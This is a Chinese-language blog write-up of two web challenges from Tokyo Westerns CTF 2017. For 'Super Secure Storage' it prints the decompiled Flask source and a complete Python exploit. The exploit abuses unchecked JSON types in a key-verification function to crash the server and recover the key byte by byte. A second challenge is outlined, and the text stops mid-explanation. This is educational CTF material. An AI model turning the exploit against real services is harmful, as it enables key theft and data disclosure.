Tokyo Westerns 2017 Web

最近洒家参加了 Tokyo Westerns CTF 2017,做了几道 Web 题。洒家去年也参加了这个 CTF,但是今年情况发生了很多变化。今年的 CTF 采用了动态分数制,Web 题目数量减少,除了热身题只有两道,难度也都增加了很多。而洒家前一段时间在忙考研/保研等一堆破事,长时间没有关注信息安全,连 Web 题的初步操作都不熟练了。

这里已经有了写得相当不错的 write up,因此以下内容写得简略一些,详情可以看这些 write up。

Super Secure Storage

题目链接:http://s3.chal.ctf.westerns.tokyo/

参考 write up

洒家长期不搞 Web 题明显生疏了很多,一开始上手都忘了怎么搞了,连 /robots.txt 都是学弟找到的。根据找到的配置文件可以知道这是一个使用了 Nginx、uWSGI 的 Python 应用,数据库是 SQLite。网站禁止了 .py 请求,测试了一波 app.pyc 等文件名都无法访问,猜测可能是 Python 3,然后在 http://s3.chal.ctf.westerns.tokyo/__pycache__/app.cpython-35.pyc 搞到了源码。

# encoding: utf-8

# uncompyle6 version 2.11.5
# Python bytecode 3.5 (3350)
# Decompiled from: Python 2.7.12 (default, Nov 19 2016, 06:48:10)
# [GCC 5.4.0 20160609]
# Embedded file name: ./app.py
# Compiled at: 2017-09-02 11:38:15
# Size of source mod 2**32: 3340 bytes
from flask import Flask, jsonify, request
from flask_sqlalchemy import SQLAlchemy
import hashlib
import os
app = Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///./db.sqlite3'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = True
app.secret_key = os.environ['SECRET_KEY']
db = SQLAlchemy(app)

# 数据库:id, key: 用户密码被 SECRET_KEY 加密的密文,data: 信息被用户密码加密后的密文
class Data(db.Model):
    __tablename__ = 'data'
    id = db.Column(db.Integer, primary_key=True)
    key = db.Column(db.String)
    data = db.Column(db.String)

    def __init__(self, key, data):
        self.key = key
        self.data = data

    def __repr__(self):
        return '<Data id:{}, key:{}, data:{}>'.format(self.id, self.key, self.data)


class RC4:

    def __init__(self, key=app.secret_key):       # 默认加密 key 是 secret key
        self.stream = self.PRGA(self.KSA(key))

    def enc(self, c):
        return chr(ord(c) ^ next(self.stream))    # ord() 函数可能导致 crash

    @staticmethod
    def KSA(key):
        keylen = len(key)
        S = list(range(256))
        j = 0
        for i in range(256):
            j = j + S[i] + ord(key[i % keylen]) & 255
            S[i], S[j] = S[j], S[i]

        return S

    @staticmethod
    def PRGA(S):
        i = 0
        j = 0
        while True:
            i = i + 1 & 255
            j = j + S[i] & 255
            S[i], S[j] = S[j], S[i]
            yield S[S[i] + S[j] & 255]


# 漏洞:当 input_pass 数据类型不为 str 就可能 crash
# 正确 "12345678"
# "12345678"                        true
# ["1"] [1]                         false 长度不同
# [1, 2, 3, 4, 5, 6, 7, 8]          crash
# [[],"aa",{},1.23,[],None,[],None] crash
# ["1","2","3","4","5","6","7","8"] true  list 也可以 zip
def verify(enc_pass, input_pass):
    if len(enc_pass) != len(input_pass):
        return False
    rc4 = RC4()
    for x, y in zip(enc_pass, input_pass):  # 时间上存在侧信道攻击 但是并无卵用
        if x != rc4.enc(y):
            return False

    return True


@app.before_first_request
def init():
    db.create_all()
    if not Data.query.get(1):
        key = os.environ['KEY']    # 加密 flag 的 key
        data = os.environ['FLAG']  # flag
        rc4 = RC4()
        enckey = ''
        for c in key:
            enckey += rc4.enc(c)   # 用 secret key 加密 key

        rc4 = RC4(key)             # 用 key 加密 data
        encdata = ''
        for c in data:
            encdata += rc4.enc(c)

        flag = Data(enckey, encdata) 
        db.session.add(flag)
        db.session.commit()


@app.route('/api/data', methods=['POST'])  # 增加新消息
def new():
    req = request.json
    if not req:
        return jsonify(result=False)
    for k in ['data', 'key']:
        if k not in req:
            return jsonify(result=False)

    key, data = req['key'], req['data']
    if len(key) < 8 or len(data) == 0:    # key 长度至少 8 位
        return jsonify(result=False)
    enckey = ''
    rc4 = RC4()
    for c in key:
        enckey += rc4.enc(c)

    encdata = ''
    rc4 = RC4(key)
    for c in data:
        encdata += rc4.enc(c)

    newdata = Data(enckey, encdata)
    db.session.add(newdata)
    db.session.commit()
    return jsonify(result=True, id=newdata.id, data=newdata.data)


@app.route('/api/data/<int:data_id>')
def data(data_id):
    data = Data.query.get(data_id)
    if not data:
        return jsonify(result=False)
    return jsonify(result=True, data=data.data)


# 检查 key:发送 key, data_id
@app.route('/api/data/<int:data_id>/check', methods=['POST'])
def check(data_id):
    data = Data.query.get(data_id)  # 查数据库
    if not data:
        return jsonify(result=False)
    req = request.json
    if not req:
        return jsonify(result=False)
    for k in ['key']:
        if k not in req:
            return jsonify(result=False)

    enckey, key = data.key, req['key']
    if not verify(enckey, key):
        return jsonify(result=False)
    return jsonify(result=True)


if __name__ == '__main__':
    app.run()
# okay decompiling app.cpython-35.pyc

网站前端用了 Vue.js,后端有 3 个 API:

  1. POST /api/data,json 发送 key 和 data,增加一条信息
  2. GET /api/data/<int:data_id>,获得密文
  3. POST /api/data/<int:data_id>/check,json 发送 key,检查密钥

这代码看来看去,只想到了几条错误思路:

  1. 由于用了 SQLAlchemy,SQL 注入不太可行。
  2. 暴力破解:纯属扯淡。最后证实密码有 16 位,不可能在规定时间内爆破出来。
  3. 密码学:并不会。
  4. 实在找不到漏洞,洒家发现 verify() 函数检测到字节错误直接返回 False,然后突发奇想想试试侧信道的时序攻击。但是一番测试之后发现 verify() 函数的运行时间差远小于网络扰动造成的时间差,无法得到代码运行的时间差。

看了 Write up 之后恍然大悟,问题仍然出在 verify() 函数上,但是正确的解法利用了程序没有对参数的数据类型做检验的弱点。verify()input_pass 参数是从用户 POSTjson 数据得到,本身可以是任何 json 可以表示的数据类型。input_pass 可以是一个 list,它的内容可以是 strintNonelistdict 等。对于这个参数,["1","2","3","4","5","6","7","8"] 就等价于 "12345678"。如果 for 循环到达了 intNone 等不合法类型的成员变量,在 rc4.enc() 中就会作为参数进入 ord(),造成程序崩溃。利用这一点可以得出以下解题思路。由于 verify() 函数首先使用 len() 监测 key 的长度,长度不匹配会立即返回,我们可以构造不同长度的不合法 list 造成程序崩溃来探测 key 的长度;由于 verify() 函数检测到字节错误会立即返回,我们可以控制程序的崩溃,逐字节获得 key

这个原理详见这篇 write up

根据这个思路可以写出 exploit:

import os
import sys
import json
import logging
import string


logging.basicConfig(level=logging.INFO,
                    format='%(asctime)s [%(levelname)s]:%(message)s',
                    datefmt='%H:%M:%S',
                    stream=sys.stdout)

import requests

TARGET_ID = 1
HOST = 'http://s3.chal.ctf.westerns.tokyo'
ALPHABET = string.ascii_lowercase + string.digits + string.ascii_uppercase

sess = requests.Session()
sess.proxies = {'http': 'http://127.0.0.1:8080'}  # None

if sess.proxies != None:
    logging.warning('Using proxy %s',repr(sess.proxies))


def rc4_crypt(data, key):
    """RC4 algorithm"""
    x = 0
    box = range(256)
    for i in range(256):
        x = (x + box[i] + ord(key[i % len(key)])) % 256
        box[i], box[x] = box[x], box[i]
    x = y = 0
    out = []
    for char in data:
        x = (x + 1) % 256
        y = (y + box[x]) % 256
        box[x], box[y] = box[y], box[x]
        out.append(chr(ord(char) ^ box[(box[x] + box[y]) % 256]))

    return ''.join(out)


def save_data(data, key):
    url = HOST + '/api/data'
    json_data = {'data': data, 'key': key}
    # r = sess.post(url, json=json_data) # requests buggy sending binary data
    post_data = json.dumps(json_data, encoding='latin-1', separators=(',', ':'))
    headers = {'Content-Type': 'application/json;charset=UTF-8'}
    r = sess.post(url, data=post_data, headers=headers)
    result = r.json()
    logging.info('data=%s key=%s saved=%s', repr(data), repr(key), repr(result['result']))
    logging.info('id=%s cipher=%s', repr(result['id']), repr(result['data']))


def check(id, json_data):
    url = (HOST + '/api/data/{id}/check').format(id=id)
    r = sess.post(url, json=json_data)
    assert r.status_code == 200
    return (r.json())['result']


def get_key_len(id):
    for length in xrange(32):
        json_data = {'key': [0] * length}
        try:
            check(id, json_data)
        except AssertionError:
            return length


# not strict if ALPHABET is not enough
def get_key(id, length):
    key_list = [0] * length

    for place in xrange(length):
        for i in xrange(len(ALPHABET)):
            key_list[place] = ALPHABET[i]
            json_data = {'key': key_list}
            try:
                if check(id, json_data):
                    break
            except AssertionError:
                break
        logging.info('key[%d] is %s', place, ALPHABET[i])

    return ''.join(key_list)


def get_data(id, key):
    url = (HOST + '/api/data/{id}').format(id=id)
    r = sess.get(url)
    result = r.json()
    if result['result']:
        cipher = result['data']
        return rc4_crypt(cipher, key)
    else:
        logging.info('get cipher error')
        return None


def auto_get_data(id):
    logging.info('retrieving key length...')
    length = get_key_len(id)
    logging.info('key length for id %d is %d', id, length)

    logging.info('retrieving key ...')
    key = get_key(id, length)
    logging.info('key for id %d is %s', id, repr(key))

    data = get_data(id, key)
    logging.info('data for id %d is %s', id, repr(data))

    return data


if __name__ == "__main__":
    # save_data('this is a secret','aaaaaaaa')
    # save_data(rc4_crypt('i want you see directly','aaaaaaaa'),'aaaaaaaa') # reverse plain and cipher
    # save_data(rc4_crypt('<script>alert(1);</script>', 'aaaaaaaa'), 'aaaaaaaa') # no xss

    # auto_get_data(81527) # a test, key: abcdefgh data: aabbccddeeffgghh
    flag = auto_get_data(TARGET_ID)
    # save_data(rc4_crypt(flag, 'aaaaaaaa'), 'aaaaaaaa') # http://s3.chal.ctf.westerns.tokyo/#/data/81539

另外根据这条评论,有人在这条消息中泄露了 flag,这条消息的密文就就是明文的 flag。这是用了 rc4 的对称加密的性质实现的,先把 flag 加密,然后提交密文和加密的密钥,服务器上二次“加密”,就能使密文等于明文的 flag。上面的 exploit 提供了一键搅屎的函数。

改变输入数据的类型是测试一个系统常见的思路,以前在 PHP、MongoDB 等场合下经常使用。可惜洒家这次遇到了 Python 和 Json 就没有想到这一点,由此对做出这题的人表示佩服。

社会,社会。
社会,社会。

Clock Style Sheet

write up 参考 https://blog.tyage.net/?p=1043

题目链接 http://css.chal.ctf.westerns.tokyo/

提供了 2 个文件:

  1. proxy.py 代理服务器
  2. sanitizer.py 过滤的函数,在 proxy.py/refersh 中都有调用

这题出得略有问题,题目目的有点迷。有 4 个页面:

  1. / 首页是一个纯 CSS 实现的钟表。有一个 js,运行就会跳转到 please disable javascript,因此必须关闭 JS 功能才能正常看到这个表。
  2. /chrowler/ 一段 selenium 代码,运行 Chrome 访问用户提供的 URL。页面上的代码写着 options.add_argument('--disable-javascript'),当时想来想去觉得直接在浏览器上禁用了 JavaScript 肯定无解了。刚才试了一下,实际上并没有禁用 JavaScript,洒家被这行代码误导了。
  3. /flag 需要用局域网访问的 flag
  4. /refresh 比赛的时候没有仔细看。。。被首页调用。看似是因为首页不能执行 js 所以搞了个跳转页面,实际上出题人的目的是增大了攻击面。这个页面跳转到 Referer,可以在 Referer 里面插入 payload。

大致思路:


Advertisements

Comments

您可以匿名发表评论,无需登录 Disqus 账号,勾选“我更想匿名评论”后,姓名和电子邮件分别填写“匿名”和“someone@example.com”然后发表评论即可。您也可以登录 Disqus 账号后发表评论。您的评论可能需要经过我审核后才能显示。点赞投票按钮(Reactions)无需登录即可点击。Disqus 评论系统在中国大陆可能无法正常加载和使用。

License

Creative Commons License

本作品采用知识共享 署名-非商业性使用-禁止演绎 4.0 国际许可协议CC BY-NC-ND 4.0)进行许可。

This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).

Top